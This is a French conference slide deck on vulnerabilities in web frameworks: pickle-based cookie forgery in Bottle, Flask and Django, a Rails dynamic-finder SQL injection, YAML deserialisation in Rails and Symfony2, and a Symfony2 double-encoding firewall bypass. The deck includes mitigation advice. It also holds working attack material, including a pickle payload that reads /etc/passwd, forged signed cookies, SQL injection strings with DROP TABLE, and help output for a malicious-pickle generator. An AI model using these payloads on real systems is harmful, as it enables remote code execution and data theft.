Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau...

41
Vulnérabilités des frameworks web modernes Nicolas Oberli – Security Engineer Florent Batard – Security Engineer 1

Transcript of Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau...

Page 1: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

Vulnérabilités des frameworks web 

modernes

Nicolas Oberli – Security Engineer

Florent Batard – Security Engineer

1

Page 2: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

2

Chapitres de la présentation› Vulnérabilités Known Secret

› Flask› Bottle› Django› Ruby On Rails

› Vulnérabilités YAML› Ruby On Rails› Symfony2

› Vulnérabilités routing › Symfony2 double encodage

Page 3: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

3

Known SecretDescription du known secret

● Django● Bottle● Flask● Ruby On Rails

Page 4: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

4

Known secret | Introduction

› La plupart des frameworks permettent de proté­

ger les cookies de session contre la modification› Permet d'éviter de forger un cookie› Se base sur un secret partagé

› Exemple en Django

settings.py :

# Make this unique, and don't share it with anybody.SECRET_KEY = 'u+%s^63&)i3z0uu+-%z824xx8*_)935u+_#dcju^j&5!!3xnk@'

Page 5: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

5

Known secret | Implémentation

› Cette valeur doit rester secrète et être unique 

pour chaque instance

› Est­ce toujours le cas ?

Page 6: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

6

Page 7: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

7

Known secret | Fonctionnement

› Comment les données sont­elles stockées dans 

un cookie ?› Un exemple avec bottle

bottle.py :def set_cookie(self, name, value, secret=None, **options): if secret: value = touni(cookie_encode((name, value), secret)) elif not isinstance(value, basestring): raise TypeError('Secret key missing for non-string Cookie.')

bottle.py :def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg

Page 8: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

8

Known secret | Pickle ?

› « The pickle module implements a fundamental, 

but powerful algorithm for serializing and de­se­rializing a Python object structure. […] »

› Permet de sérialiser des objets en Python

In [1]: import pickle

In [2]: s="Hello"

In [3]: pickle.dumps(s)Out[3]: "S'Hello'\np0\n."

Page 9: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

9

Known secret | Pickle | Fonctionne­

ment› Les données sérialisées sont traitées par une 

virtual machine interne à Pickle

› La VM se base sur une succession d'opérations sur une pile

› De nombreux opcodes sont disponibles pour appeler 

d'autres fonctions de Python

>>> pickletools.dis("S'Hello'\np0\n.") 0: S STRING 'Hello' 9: p PUT 0 12: . STOP

Page 10: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

10

Pickle | Exemple d'appel système>>> print subprocess.check_output(['cat','/etc/passwd'])root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/false

>>> pickletools.dis("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.") 0: c GLOBAL 'subprocess check_output' 25: ( MARK 26: ( MARK 27: S STRING 'cat' 34: S STRING '/etc/passwd' 49: l LIST (MARK at 26) 50: t TUPLE (MARK at 25) 51: R REDUCE 52: . STOP

>>> print pickle.loads("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.")root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/bin/falsedaemon:x:2:2:daemon:/sbin:/bin/false

Page 11: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

11

Known secret | Exemple

› Prenons l'application suivante :

from bottle import route, run, response, request

@route('/')def main(): value = request.get_cookie('account', secret='SecretK3y') return value

@route('/login')def do_login(): response.set_cookie('account','user', secret='SecretK3y')

run(host='0.0.0.0', port=8080, debug=True, reloader=True)

Page 12: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

12

Known secret | Exemple | Cookie

› Bottle créé le cookie comme suit :

› Le cookie suivant est retourné au browser :

def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg

!iOHrcSe+PHzVpBE1P2QgeQ==?gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg==

>>> 'gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg=='.decode('base64')'\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.'

>>>pickle.loads('\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.')('account', u'user')

Page 13: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

13

Known secret | Exemple | Modification

› En modifiant le cookie et en signant à nouveau 

les données, il est alors possible d'exécuter des commandes sur le serveur :

>>> import hmac, base64>>> payload = "(S'account'\ncsubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltRt.">>> msg = base64.b64encode(payload)>>> sig = base64.b64encode(hmac.new('$ecretK3y', msg).digest())>>> print '!'+sig+'?'+msg!U8ZWFOPdVLnRe4VoSLJ0kw==?KFMnYWNjb3VudCcKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CigoUydjYXQn-ClMnL2V0Yy9wYXNzd2QnCmx0UnQu

Page 14: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

14

Known secret | Exemple | Demo

› Épreuve proposée lors d'Insomni'hack 2013› But : Trouver le flag se trouvant dans /etc/motd› Application Bottle vulnérable› Une seul équipe a exploité cette vulnérabilité

Page 15: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

15

Known secret | Application

› Plusieurs frameworks sont vulnérables› Bottle› Flask› Django

Page 16: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

16

Known secret | Automatisation

› Présentation de PPPP› Python Problematic Pickle Printer› Permet de créer des Pickles malicieux› Encode directement les Pickles sous forme de cookies 

pour les principaux frameworks Python

Page 17: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

17

Known secret | Automatisation | Exemple$ python pppp.py -h usage: pppp.py [-h] [-o {django,werkzeug,bottle,raw}] [-k SECRET_KEY] -p {connect_back,read_file,command_exec} -a ARGUMENT [-n VAR_NAME] [-m HASH_TYPE]

Generates harmful pickles for various uses (and fun)

optional arguments: -h, --help show this help message and exit -o {django,werkzeug,bottle,raw}, --output {django,werkzeug,bottle,raw} Pickle output format -k SECRET_KEY, --key SECRET_KEY Application's secret key -p {connect_back,read_file,command_exec}, --payload {connect_back,read_file,command_exec} Payload type -a ARGUMENT, --argument ARGUMENT Payload's argument -n VAR_NAME, --name VAR_NAME Var name for the pickled payload -m HASH_TYPE, --mac HASH_TYPE (Werkzeug only) specify the hash type

Page 18: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

18

Known secret | Automatisation | Demo

› Génération de pickles› Exploitation› Shell distant

Page 19: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

19

Known secret | Documentation

› Actuellement, seul Django met clairement en 

garde contre la divulgation de la clé secrète› Werkzeug (Flask) l'indique uniquement dans la 

documentation› Bottle indique uniquement que la clé sert à pré­

venir la manipulation des cookies

Page 20: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

20

Known secret | Remédiation› Django

› Se passer de secure_cookies

› Flask / Werkzeug› La classe SecureCookie peut changer de méthode de 

sérialisation› par exemple JSON

› Rien n'est documenté pour Bottle

import jsonfrom werkzeug.contrib.securecookie import SecureCookie

class JSONSecureCookie(SecureCookie): serialization_method = json

Page 21: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

21

Known Secret | Ruby On Rails› Faille ActiveRecord

› Le problème vient des dynamic finders› find_by_col(params[:toto])

› Toutes les versions de Ruby sont affectées› Cela ne remet pas en cause la sanitation des requêtes 

SQL dans Rails

› Pour exploiter cette vulnérabilité on doit :› Avoir AuthLogic activé pour l'authentification

› Connaître le secret session token

Page 22: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

22

Known Secret | Ruby On Rails

› Description de la faille› Rails donne accès a des « finder dynamiques » pour 

chercher dans les tables liées dans ActiveRecord› User.find_by_name(params[:id])

› ActiveRecord protège ces arguments des SQL injec­

tions :› User.find_by_name(''scrt' ; DROP TABLE USERS ; – '')› # => SELECT * FROM users WHERE name = 'scrt\'; DROP TABLE 

USERS; ­­' LIMIT 1

Page 23: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

23

Known Secret | Ruby On Rails› Description de la faille

› Cependant ActiveRecord autorise de paramétrer les 

requêtes du finder dynamique :› User.find_by_name("scrt", :select => "id, name")› # => SELECT id, name FROM users WHERE name = 'scrt' LIMIT 1

› Ces paramètres sont alors injectables :› User.find_by_name("kotori", :select => "id, name FROM users; DROP 

TABLE users; –")› # => SELECT id, name FROM users; DROP TABLE users; ­­ FROM users 

WHERE name = 'kotori' LIMIT 1

Page 24: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

24

Known Secret | Ruby On Rails› Description de la faille

› Le second paramètre est rarement utilisé mais la 

commande suivante est largement utilisé :› User.find_by_name(params[:name])

› Il faut alors passer par un subterfuge pour créer un ta­

bleau à partir des arguments :› /vuln­url?name[select]=nimp&name[limit]=23

› On a alors créer un hash {''select''=>''nimp, ''limit'' => 23}

› Mais cela ne marche pas car on vient de créer des strings 

et non pas des symboles au sens Ruby

Page 25: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

25

Known Secret | Ruby On Rails› Seules les requêtes avec un hash ou bien une 

string pourront être impactée.› Ça tombe bien Authlogic utilise cette méthode 

pour mettre un token› User.find_by_persistence_token(the_token)

› Il nous reste a forger un token de la forme :› {  "session_id" => "1111111", 

   "user_credentials"=>"Admin",

   "user_credentials_id"=> SQL INJECTION}

Problème   Le cookie est signé avec un SHA1­HMAC→

Page 26: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

26

Known Secret | Ruby On Rails› Comment trouver le secret_token pour signer notre cookie ?

Page 27: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

27

Known Secret | Ruby On Rails› Cookie final pour se faire passer pour n'importe quel utilisateur :

  "session_id" => "41414141", 

  "user_credentials"=>"Admin",

  "user_credentials_id"=>{ 

    :select=> " *,\"Admin\" as persistence_token from Users ­­ "

  }

}

Et signé avec le secret_token obtenu !

Page 28: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

28

Known Secret | Ruby On Rails› Mitigation 

› Déployer le patch correctif pour Rails

› Vérifier que vous passez bien que des strings dans les finder dy­

namiques

› find_by_name(params[:name].to_s)

› NE DIFFUSER PAS VOTRE SECRET_TOKEN !

› Ressources sur les cookies  :› https://github.com/joernchen/evil_stuff/blob/master/ruby/sign­cookie.rb

› http://blog.phishme.com/wp­content/uploads/BustRailsCookie.rb

› Exploits Metasploit :

› exploit/multi/http/rails_json_yaml_code_exec

› exploit/multi/http/rails_xml_yaml_code_exec

Page 29: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

29

Faille YAMLDescription de la faille YAML

● Ruby On Rails● Symfony2

Page 30: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

30

Faille YAML | Ruby On Rails

› Ruby On Rails est capable de parser des argu­

ments dans différents formats.› On pourrait par exemple mettre :› POST / Content­Type : application/xml<?xml version="1.0" encoding="UTF-8"?><hash>

<foo type="integer">1</foo><bar type="float">1.3</bar>

</hash>

Page 31: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

31

Faille YAML | Ruby On Rails› La prise en charge de ces paramètres est gérée 

par : ActiveSupport::XmlMini::PARSING› Malheureusement il ne gère pas que des types 

simples mais aussi des type très importants dans 

ruby :› Type : symbol (constantes internes le plus souvent)› Type : yaml (langage utilisé pour les configurations)- !ruby/object:Person name: John Doe sname: jdoe email: [email protected] !ruby/object:Person name: Jane Doe sname: jdoe email: [email protected]

Page 32: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

32

Faille YAML | Ruby On Rails› Comment exploiter ces possibilités ?

› Nous pouvons invoquer n'importe quelle classe interne› Nous pouvons instancier des objets› Il ne nous reste plus qu'à injecter la payload

› Façon Metasploit : Autre façon :

--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection

!ruby/object:OpenStruct

arel = Arel::Nodes::SqlLiteral.new("foo")Blog.find_by_id(arel)

Page 33: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

33

Faille YAML | Ruby On Rails› La même faille s'applique au parser JSON

› Mitigation› Le patch est disponible pour Rails › Modifier 

ActionDispatch::ParameterParser::DEFAULT_PARSERS 

pour désactiver si non nécessaire

Page 34: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

34

Faille YAML | Symfony2› Le parser YAML embarqué a Symfony2 est évalué 

comme du PHP avant d'être parsé en YAML›

› Le parser YAML peut parser et dumper des objets PHP avec la notation :

› !!php/object: 

› Ces failles ne sont exploitables qu'avec la méthode :› Yaml::parse($filename);

Page 35: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

35

Faille Double EncodingDescription de la faille Double Encoding

● Symfony2

Page 36: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

36

Faille Double Encoding | Symfony2

Page 37: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

37

Faille Double Encoding | Symfony2› Pour récupérer le path les composants utilisent 

getPathInfo()› Composant Routing décode deux fois le path› Composant Security décode UNE seule fois le path

Firewall Symfony : security.ymlsecured_area: pattern: ^/foo/ form_login: check_path: /foo/login_check login_path: /foo/login

Définition des controllers/** * @Route("/foo") */

Page 38: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

38

Faille Double Encoding | Symfony2› Démo Time

› Encodage simple : /%66oo› Encodage double : /%2566oo correspond à une 

route mais pas aux règles firewall

Page 39: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

39

Faille Double Encoding | Symfony2› Mitigation

› Mise à jour de Symfony› Retoucher a la main la gestion d'encodage des 

routes

Page 40: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

40

Conclusion› Les frameworks web ne sont pas la panacée

› Une connaissance interne ou suivi de la sécurité est nécessaire

› Vérifier les vulnérabilités régulièrement et mettre à jour si besoin

Page 41: Vulnérabilités des frameworks web modernes · › En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des ... comme du PHP avant d'être

41

Merci !› Merci pour votre attention !

[email protected][email protected]